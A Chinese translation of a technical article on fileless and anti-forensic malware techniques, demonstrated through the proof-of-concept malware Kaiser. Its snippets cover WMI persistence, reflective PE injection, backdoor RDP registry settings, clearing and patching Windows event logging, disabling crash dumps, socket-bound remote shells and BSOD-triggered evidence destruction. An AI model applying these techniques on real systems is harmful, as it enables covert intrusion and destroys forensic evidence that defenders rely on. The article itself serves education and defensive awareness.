本文翻译自Anti-forensic and File-less Malware。该文介绍了file-less(无文件)技术和反取证技术,以及一个使用这两个技术的软件Kaiser。Kaiser的GitHub: https://github.com/NtRaiseHardError/Kaiser
建议需要的预备知识
C语言
PowerShell脚本语言
Intel x86汇编语言
Windows API
Windows internals(深入理解windows操作系统)
PE文件格式
对恶意软件来说,最有益的属性之一就是生存,此处生存的意思是维持持久性和避免被杀毒软件检测。由于开发一个成熟的恶意软件需要昂贵的资源,因此,保持未知和不被检测的特性变得愈发重要。
此类恶意软件在它的工具集中应该包括反取证的性能,以使其足迹最小化,篡改系统和取证证据以防被捕获和分析。在过去几年,传统的检测技术已经发展成熟,复杂的恶意软件与无文件技术相结合之后可能拥有攻击系统的能力,同时可以规避传统的检测技术。
概念验证(Proof of concept,PoC)恶意软件Kaiser是被开发出来去展示反取证和file-less功能的一个示例子集。这些功能包括无文件持久性、二进制文件执行、禁用事件日志记录服务、主动防止受感染机器取证分析的反取证措施,以及阻止对入侵的进一步调查。
本节讨论在kaiser中实现的反取证和无文件功能示例子集所必要的背景信息。
目前,"fileless"没有官方和通用的术语定义,因此微软给出了一个定义“Fileless threats”(无文件威胁),本文将会使用这个定义。微软定义了三种类型的“file-less”技术
以下功能深入研究类型2和类型3,以实现持久性和无文件形式应用程序的执行。
WMI是基于windows系统的管理数据和操作的基础架构。它提供了存储和查询数据以及运行操作的方法。每个类都位于它们各自的名称空间下,每个类都在它们合适的类下。例如,Win32_Process类包含当前进程的数据,这些数据是可以被查询的,包括命令行,可执行路径,进程名,进程ID。还提供了Create方法去创建新进程。
除了存储数据之外,WMI还包含一个通知系统,这个通知系统可以被特殊的内部事件和外部事件触发。当WMI内部发生一些改变,如对类、对象或命名空间的任何修改就会触发内部事件。相反,当WMI外部发生一些改变,如进程、模块或线程开启,或是注册表改变就会触发外部事件。
事件过滤器是WMI触发事件的条件。它们可以被特殊的过滤语句生成,这些过滤语句表明了哪个事件应该被触发。在Restart persistence情况下,可能设置一个当用户登录系统时(如果Win32_LoggedOnUser类被创建时)触发的事件过滤器。下面的powershell代码演示了此示例。
$query = "SELECT * FROM __InstanceCreationEvent WITHIN 10 WHERE TargetInstance ISA 'Win32_LoggedOnUser'"
$evtFilter = Set-WmiInstance -Class __EventFilter -Namespace "root\subscription" -Arguments @{
Name = "FilterName";
EventNamespace = "root\cimv2";
QueryLanguage = "WQL";
Query = $query;
}
这个过滤语句可以被用于传递给可以在事件触发时采取行动的使用者。执行一个操作,会创建一个_EventConsumer。CommandLineEventConsumer类是一个特殊的_EventConsumer,它可以通过定义他的CommandLineTemplate参数在命令行运行任意命令。下面的PowerShell代码展示了这个例子。
$cmd = powershell.exe C:\Path\To\Script.ps1
$evtConsumer = Set-WmiInstance -Class CommandLineEventConsumer -Namespace "root\subscription" -Arguments @{
Name = "ConsumerName";
CommandLineTemplate = $cmd
}
最后,__FilterToConsumerBinding类可以将事件过滤器和使用者结合起来。下面的PowerShell代码展示了这个例子。
Set-WmiInstance -Class __FilterToConsumerBinding -Namespace "root\subscription" -Arguments @{
Filter = $evtFilter;
Consumer = $evtConsumer
}
在创建和注册者三个类实例后,每当用户登录系统时,将会触发事件过滤器,PowerShell脚本将会被激活运行。要将这种类型的技术转换为类型2的file-less技术,可以将内容转换为命令行从而使PowerShell脚本变得冗余。
第三方应用程序可以使用file-less技术在内存中直接运行。进程注入技术描述了一个例子,说明如何通过手动模拟当PE文件被调用运行时windows映像加载器加载用户模式程序的过程。下面的步骤描述了执行的步骤。
对于进程注入来说,映射PE文件相对来说是比较简单的,因为它会自动初始化内存中所有必需的对象,例如DLL和可执行映像导入表值。
如上图所示,磁盘上的PE文件必须被扩展到它们size成员所描述的大小,从而填充它们在内存中的节区。PE文件头保持了相同的大小,起始位置是ImageBase,但是每一个节区必须被转换成正确的虚拟偏移并填充到他的VirtualSize而不是SizeOfRawData
所需的PE文件的字节可以被存储在内存中,这块内存可以被替换,使整个操作是file-less。由于使用来自磁盘的文件,因此进程注入被认为是类型3的file-less技术。
反射式dll注入使用和进程注入相似的方法,但是反射式dll注入需要更深一层的准备,它不会像进程注入那样自动初始化。在映射了PE文件之后(接下来的步骤跟进程注入是一样的),重定位和导入表会自动更新获取正确的值。
修复重定位表
当dll没有载入到预期的基地址,需要解析重定位表,以便代码区对其他节区的引用是准确的。这归因于当将PE文件映射到内存中时链接器所假设的基址跟实际载入的地址是不一样的。我们可以在.reloc节中找到重定位表,.reloc节包含Image_BASE_RELOCATION结构,每一个结构后面都跟着两个WORD TypeOffset值,这两个值包含重定位类型和偏移。Image_BASE_RELOCATION结构定义如下。
typedef struct _IMAGE_BASE_RELOCATION {
DWORD VirtualAddress;
DWORD SizeOfBlock;
}
VirtualAddress是重定位块的开始相对虚拟地址,SizeOfBlock是包含IMAGE_BASE_RELOCATION结构和TypeOffset重定位块在内的整个块的大小。对于每一个TypeOffset值,前4 bits表明了重定位的类型,后12 bits是VirtualAddress RVA偏移量。举例:
VirtualAddress: 0x00001000; SizeOfBlock: 0x0000000C
TypeOffset: 0x300C
TypeOffset: 0x3010
根据TypeOffset的前4个bits都为3,表明重定位类型是IMAGE_REL_BASED_HIGHLOW。第一个偏移是0xC,第二个偏移是0x10。假设dll被载入到0x01000000,它的基地址是0x00400000。重定位表应该像下面一样被计算和更正。
// Linker-assumed desired base address, obtained from IMAGE_OPTIONAL_HEADER.ImageBase.
DWORD ImageBase = 0x00400000;
// Starting RVA of relocation block, obtained from IMAGE_RELOCATION_BLOCK.VirtualAddress.
ULONG VirtualAddress = 0x00001000;
// Base address where DLL was actually loaded.
PVOID BaseAddress = 0x01000000;
// Starting address of relocation block.
ULONG_PTR Address = (ULONG_PTR)BaseAddress + (ULONG_PTR)VirtualAddress;
// Difference between the base address and ImageBase.
LONGLONG Delta = (ULONG_PTR)BaseAddress - ImageBase; // = 0x00C00000
PULONG LongPtr = NULL;
SHORT Offset = 0;
// Calculate the first relocation.
USHORT TypeOffset1 = 0x300C;
// Get the offset from VirtualAddress.
Offset = TypeOffset1 & 0xFFF;
LongPtr = (PULONG)(Address + Offset);
// Correct the value of the first relocation.
*LongPtr += Delta;
// Calculate the second relocation.
USHORT TypeOffset2 = 0x3010;
// Get the offset from VirtualAddress.
Offset = TypeOffset2 & 0xFFF;
LongPtr = (PULONG)(Address + Offset);
// Correct the value of the second relocation.
*LongPtr += Delta;
注:仅IMAGE_REL_BASED_HIGHLOW重定位类型足够满足本文的范围
修复导入表
导入表由依赖外部共享库的函数组成,这些库在应用程序运行时为其提供扩展功能,尤其是提供由常用的dll ntdll.dll和kernel32.dll导出的windows API。当可执行文件被载入到内存中后,导入表必须已经初始化,导出函数在内存中正确的地址上,以便这些函数可以被引用和使用。
修复导入表首先需要了解IMAGE_IMPORT_DESCRIPTOR结构的定义,定义如下所示。
typedef struct _IMAGE_IMPORT_DESCRIPTOR {
union {
ULONG Characteristics;
ULONG OriginalFirstThunk;
} DUMMYUNIONNAME;
ULONG TimeDateStamp;
ULONG ForwarderChain;
ULONG Name;
ULONG FirstThunk;
} IMAGE_IMPORT_DESCRIPTOR, *PIMAGE_IMPORT_DESCRIPTOR;
这个结构重要的成员是OriginalFirstThunk,Name和FirstThunk。Name指向ASCII字符串,是dll名字的指针。OriginalFirstThunk和FirstThunk指向两个本质上相同的数据IMAGE_THUNK_DATA。定义如下:
typedef struct _IMAGE_THUNK_DATA32 {
union {
ULONG ForwarderString;
ULONG Function;
ULONG Ordinal;
ULONG AddressOfData;
} u1;
} IMAGE_THUNK_DATA32, *PIMAGE_THUNK_DATA32;
AddressOfData指向IMAGE_IMPORT_BY_NAME。定义如下。
typedef struct _IMAGE_IMPORT_BY_NAME {
WORD Hint;
BYTE Name[1];
} IMAGE_IMPORT_BY_NAME, *PIMAGE_IMPORT_BY_NAME;
当可执行文件被映射到内存中,导入表初始化完成后,它将会遍历FirstThunk数组的IMAGE_THUNK_DATA结构并使用函数在内存中的地址替换掉它们。为了定位函数,IMAGE_THUNK_DATA.ordinal将会对最高位进行按位与操作检查,即IMAGE_THUNK_DATA.Ordinal & 0x80000000。如果最高位为1,表示函数以序号方式输入,此时低31位被当做函数序号。如果Ordinal值位0x8000013D,函数序号是0x13D.当最高位为0时,表示函数以字符串类型的函数名方式输入,这时双字的值是一个RVA,指向一个IMAGE_IMPORT_BY_NAME结构。Hint指示本函数在其所驻留DLL的输出表中的序号,Name含有输入函数的函数名。一旦找到函数地址,加载器用函数真正的入口地址来替代由FirstThunk指向的IMAGE_THUNK_DATA数组里的元素值。
实现一个file-less类型三的后门是可能的,可以通过使用Living off the Land技术来实现。Living off the Land(LOL)描述了一个利用已经存在在系统上的可执行文件执行操作的方法。这就使得恶意软件不需要将他们自己导入主机或是下载额外的工具到主机上,从而使恶意代码实现无文件操作,但也可以将这个操作当做一个意外情况。windows的远程桌面协议(RDP)可以通过网络远程访问计算机,它可能是被禁用的,可以使用下面的配置来启用它。
将注册表HKLM\System\CurrentControlSet\Control\Terminal Server中fDenyTSConnections 的值设置为0,0代表允许连接
将注册表HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp中UserAuthentication 的值设置为0,0代表禁用网络层认证
windows防火墙的入站规则应该运行3389端口的TCP连接
取证wiki对反取证的定义是:试图对犯罪现场的证据的存在,数量和/或质量产生负面影响,或者使证据的分析和检测变得困难或不可能进行。Defense Evasion(防御规避)被描述为对手可能用来逃避侦查或躲避其他防御的技术。将要讨论的反取证方法只是反取证方法的一个子集,这些方法试图移除或隐藏恶意代码操作的证据,从而破坏取证调查分析和检测的功能。这些方法包括篡改事件记录服务以防止对系统和恶意软件进行正确分析。
微软对事件记录的定义是“应用程序(和操作系统)记录重要软硬件事件的一种标准的集中式方法”。事件记录服务记录来自各种源的事件,并将它们存储在称为事件日志的单个集合中。事件日志可能包含大量信息,包括但不限于用户登录,外部设备连接,进程创建,远程桌面连接,文件活动,甚至远程线程创建。与其他Windows服务一样,事件日志记录服务在svchost下作为线程运行。从取证的角度来看,事件日志是一种有价值的资源,通过检测和恢复日志可以从中发现某些活动。禁用事件日志是为了避免管理员最初的检测,破坏关键证据以及避免被感染系统的正确分析。重要的是要知道,尽管禁用日志来避免检测是有效的,但是当日志条目之间有长时间的延迟时,这种行为就是可疑的,甚至在日志为空时更是如此。这就留给操作者去理解应该如何去操作以及什么时候去禁用事件日志是合适和必要的。
清除事件日志是使用windows事件日志API EvtClearLog以及指定要删除的ChannelPath,清除事件日志举例如下。
EvtClearLog(NULL, L"Security", NULL, 0);
这个方法也能用来清除应用程序和服务的日志操作记录,以下内容清除终端服务的本地会话管理器,该管理器存储与远程桌面协议相对应的日志
EvtClearLog(NULL, L"Microsoft-Windows-TerminalServices-LocalSessionManager/Operational", NULL, 0);
应该注意的是,如果清除安全事件日志,则特殊事件(ID 1102)将保持声明“审核日志已清除。”此外,如果系统配置是将日志转发到远程服务器,则清除事件日志将是无效的。有两种方法可以打破这些机制:挂起事件记录服务的线程和给事件日志模块打补丁。
Halil Dalabasmaz的帖子Phant0m:Killing Windows Event Log,展示了两种定位事件记录服务线程的方法:1.分析相应svchost.exe进程的线程环境块(TEB)的SubProcessTags字段;2.使用debugging symbols(Windbg)跟踪线程栈。本文聚焦于第一种方法。
在TEB中有一个SubProcessTag字段,每当一个服务注册并且运行的时候,Service Control Manager会分配给服务线程一个id,这个id就是SubProcessTag,它能够唯一的表示服务,而且这个值是一直都被继承的,也就是说,如果服务线程再创建线程,那么新的线程的SubProcessTag也会被标记为父线程的id。
寻找SubProcessTag字段的目的是因为这个字段是被用来标识一个线程的service tag(服务标签),在本文的例子中,这个字段被用来标识事件记录服务的线程。SubProcessTag字段可以在事件记录服务进程的TEBs中找到,该字段可以通过以下的步骤来找到。
为了检查线程的Service Tag,需要调用I_QueryTagInformation函数,调用该函数需要带上参数-SC_SERVICE_TAG_QUERY_TYPE结构体中的ServiceNameFromTagInformation,该函数会将tag信息保存到SC_SERVICE_TAG_QUERY结构体中,它的定义如下。
typedef struct _SC_SERVICE_TAG_QUERY {
ULONG ProcessId;
ULONG ServiceTag;
ULONG Unknown;
PVOID Buffer;
} SC_SERVICE_TAG_QUERY, *PSC_SERVICE_TAG_QUERY;
在调用I_QueryTagInformation之前,这个结构体应该被初始化成如下值。
SC_SERVICE_TAG_QUERY sstq;
sstq.ProcessId = (ULONG)dwProcessId;
sstq.ServiceTag = (ULONG)uServiceTag;
sstq.Unknown = 0;
sstq.Buffer = NULL;
如果这段不理解的话,可以参考How to use I_QueryTagInformation
其中dwProcessId是包含该线程的服务的进程ID,uServiceTag是SubProcessTag的值。一旦调用成功,sstq.buffer中将会包含service tag的字符串,如果查询的是事件记录线程,则sstq.buffer中将会包含“eventlog”。在识别了所有事件记录线程之后,可以设置OpenThread的参数dwDesiredAccess为THREAD_SUSPEND_RESUME然后调用OpenThread代开线程,然后挂起或恢复他们。
可以给事件记录服务打补丁来防止通过定位相应svchost.exe进程中存在的wevtsvc.dll模块来写入事件日志。Mimikatz的源码详述了一个inine-patching(内联补丁)技术,是关于wevtsvc.dll的Channel::ActualProcessEvent函数的。下面是从IDA pro获取的反汇编代码。
; void __thiscall Channel::ActualProcessEvent(Channel *this, struct BinXmlReader *)
6A 10 push 10
B8 B8 F9 69 71 mov eax, offset loc_7169F9B8
E8 57 EF FF FF call __EH_prolog3_0
8B F1 mov esi, ecx
8B 4D 08 mov ecx, [ebp + arg_0] ; this
E8 1C F8 FF FF call BinXmlReader::Reset ; BinXmlReader::Reset(void)
33 C9 xor ecx, ecx
38 8E C0 00 00 00 cmp [esi + 0C0h], cl
74 0C jz short loc_715D286D
字节8B F1 8B 4D 08 E8
位于这个模块内,在偏移12个字节的位置,这些字节会被 C2 04 00
替换掉。
; void __thiscall Channel::ActualProcessEvent(Channel *this, struct BinXmlReader *)
C2 04 00 ret 4
这只是强制函数立即返回,使剩余的原始代码不被使用.
在尝试对受感染机器进行分析的情况下(比如内存取证),当操作者确定系统上不再需要恶意软件时,应该删除恶意和可疑存在、活动的证据。下面讨论一些可以实现:卸载持久性机制、移除潜在证据源、破坏任何内存驻留的人工痕迹。
从WMI卸载持久性机制可以阻止恶意代码在将来运行。如果所有的恶意载荷都被引导使用这种持久性机制,则卸载持久性机制将有效地删除所有代码痕迹,从而阻止恢复,防止分析。
删除WMI里面的持久性机制可以通过C语言中的IWbemService接口来完成。在初始化和连接WMI 服务器的root\subscription命名空间后,给IWbemService一个路径,它就可以删除这个实例。举例,删除CommandLineEventConsumer可以按照下面的代码来进行。
// Initialise IWbemServices pointer.
IWbemServices *pSvc = NULL;
// Set path to the WMI instance which shall be deleted.
LPWSTR szPath = L"CommandLineEventConsumer.Name='ExampleConsumer'"
// Delete.
BSTR bPath = SysAllocString(szPath);
HRESULT hRes = pSvc->lpVtbl->DeleteInstance(pSvc, bPath, 0, NULL, NULL);
SysFreeString(bPath);
如果系统不将任何日志转发到远程服务器并且试图分析受感染的计算机,则可以擦除事件日志来删除可用于取证调查的主要信息源,这是一个预防措施。清除事件日志可以使用EvtClearLog。
在一台受感染的机器将要被分析的情况下,销毁内存中驻留的人工操作痕迹是很关键的,因为恶意代码可能会被在捕获的内存映像中抓到。在捕获映像之前可以销毁内存中数据的一个方法是使系统关机或重启。这可以通过制作蓝屏死机来执行(Blue Screen of Death,BSOD)。请注意,虽然易失性存储器中的数据将被擦除,但Windows可能会生成故障转储,以便在发生BSOD时保留内存状态。禁用故障转储可以通过修改下面的设置来实现。
HKLM\Software\Microsoft\Windows NT\CurrentVersion\SystemRestore下RPSessionInterval的值设置为0
删除HKLM\Software\Microsoft\Windows NT\CurrentVersion\SPP下的Clients键值
删除 HKLM\Software\Microsoft\Windows NT\CurrentVersion\SPP下的Leases键值
HKLM\System\CurrentControlSet\Control\CrashControl下的 CrashDumpEnabled设置为0
在禁用故障转储之后,可以通过两种方法在用户空间中创建BSOD:调用NtRaiseHardError或者创建一个关键进程然后终止这个进程。对于使用NtRaiseHardError来创建BSOD来说,参数OptionShutdownSystem会被传递到HARDERROR_RESPONSE_OPTION中,进程必须具有SeShutdownPrivilege特权。
/ Get shutdown privileges.
if (ProcessSetPrivilege(GetCurrentProcess(), SE_SHUTDOWN_NAME, TRUE) == TRUE) {
HARDERROR_RESPONSE hr;
// Trigger BSOD.
NtRaiseHardError(STATUS_ACCESS_DENIED, 0, NULL, NULL, OptionShutdownSystem, &hr);
}
创建和结束一个关键进程相对来说是比较简单的。
// Set process critical.
RtlSetProcessIsCritical(TRUE, NULL, FALSE);
// Trigger BSOD by terminating critical process.
ExitProcess(0);
Kaiser是一种概念验证恶意软件,旨在演示Windows 7 32位操作系统上讨论的反取证和无文件技术。它们被实现为几个功能,以启用或使用它们:
Kaiser最初的感染载体是通过PowerShell脚本,该脚本将一个下载程序脚本安装到WMI中以实现持久性。下载脚本是Invoke-ReflectivePEInjection.ps1的一个实例,会将Kaiser.dll二进制文件下载到内存中,并将其反射注入services.exe(默认情况下)进程。
通过网络与操作者之间的交互式会话仅适用于Mimikatz或cmd.exe等控制台应用程序,因为它们使用标准输入和输出句柄。使用CreateProcess创建进程注入的进程允许通过STATUPINFO结构体将标准句柄设置为套接字(使用WSASocket进行初始化)。
typedef struct _STARTUPINFOA {
DWORD cb;
LPSTR lpReserved;
LPSTR lpDesktop;
LPSTR lpTitle;
DWORD dwX;
DWORD dwY;
DWORD dwXSize;
DWORD dwYSize;
DWORD dwXCountChars;
DWORD dwYCountChars;
DWORD dwFillAttribute;
DWORD dwFlags;
WORD wShowWindow;
WORD cbReserved2;
LPBYTE lpReserved2;
HANDLE hStdInput;
HANDLE hStdOutput;
HANDLE hStdError;
} STARTUPINFOA, *LPSTARTUPINFOA;
要使用标准句柄,dwFlags成员必须具有STARTF_USESTDHANDLES值。要通过网络引导它们,只需将句柄设置为套接字的值即可。
// Initialise the socket using WSASocket.
SOCKET socket = CreateSocket(...);
// Initialise STARTUPINFO structure.
STARTUPINFO si;
// Use the std handles and set it to the socket.
si.dwFlags |= STARTF_USESTDHANDLES;
si.hStdInput = si.hStdOutput = si.hStdError = (HANDLE)socket;
// Start process hollowing.
CreateProcess(..., &si, ...);
清除模块提供进程监控工具,旨在针对可能用户对抗Kaiser的任何分析工具。当前示例实现主动搜索进程名中包含不区分大小写的字符串“ftk”的新进程,以防止FTK内存获取工具。如果条件满足,则立刻清除一些预定义事件日志,卸载WMI中的持久性机制,使用BSOD来使系统崩溃,企图使Kaiser免受任何形式的分析并阻止任何进一步的取证调查。
由于持久性是在无文件的情况下设计的,并且具有多个阶段,即使得到了CommandLineEventCounsumer脚本,这个脚本也只会指向它下载的Kaiser资源。如果操作员被警告并在一段时间内做出反应,则可以通过移除它来轻松抵消,从而延长恶意代码的生命周期,而无需针对签名进行重新开发。
可以进行改进,以使Kaiser在反取证方面更有效,包括:
本文旨在展示一个使用无文件和反取证攻击的示例子集,这些技术可以被恶意威胁用来规避检测和取证分析。Kaiser展示的例子包含无文件WMI持久性、后门访问、第三方程序运行、反取证破坏方法、禁用取证证据源(如事件记录服务和内存中驻留的人工操作痕迹)。